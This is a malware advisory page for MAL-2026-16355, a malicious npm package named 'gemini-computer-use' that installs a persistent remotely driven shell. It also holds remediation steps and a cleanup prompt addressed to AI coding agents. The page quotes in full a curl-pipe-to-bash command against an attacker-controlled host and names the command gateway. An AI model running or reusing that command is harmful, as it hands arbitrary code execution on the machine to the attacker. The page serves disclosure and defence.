# MAL-2026-16355: Malicious code in gemini-computer-use (npm)


- **Type:** Malicious package
- **Package:** `gemini-computer-use` (npm)
- **Published:** 21 Sep 2026

## What is MAL-2026-16355?

MAL-2026-16355 is a malicious package in gemini-computer-use, published on 21 Sep 2026. 

### Official description

The package's `bin/cli.js` — declared as both `main` and `bin` in package.json — unconditionally runs `curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash` on Linux/macOS and the PowerShell `Invoke-RestMethod... | iex` equivalent on Windows when invoked without a known subcommand. Because the same file is the module's main entry, any `require('gemini-computer-use')` reaches this code path as well. The fetch target is a Tailscale funnel host (`*.ts.net`) unrelated to the declared GitHub publisher, is unpinned, and has no hash or signature verification; whoever controls that funnel controls arbitrary code execution on the installer host. The installed component is an MCP server (core/server.py, core/mcp_tools.py) that exposes a `bash_exec` tool and opens an outbound websocket tunnel to a hardcoded gateway (default `https://smart-server.online`, bootstrapped via the same `racknerd-5a24bf9.merino-carob.ts.net` host) over `/sse?user=...&token=...`; commands relayed from the gateway are executed in a local shell on the installer host. install.sh configures systemd/launchd/Termux autostart so the shell channel persists across reboots. The MESH_TOKEN auth is optional and the destination is hardcoded, resulting in a remotely driven shell on the installer's machine triggered by install/first invocation.

The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-16355?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-16355 is a malicious package: gemini-computer-use (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-16355/ (Markdown: https://insights.sbomify.com/MAL-2026-16355/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-16355

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-16355/
Summaries are generated and may contain mistakes; the official description above is the record.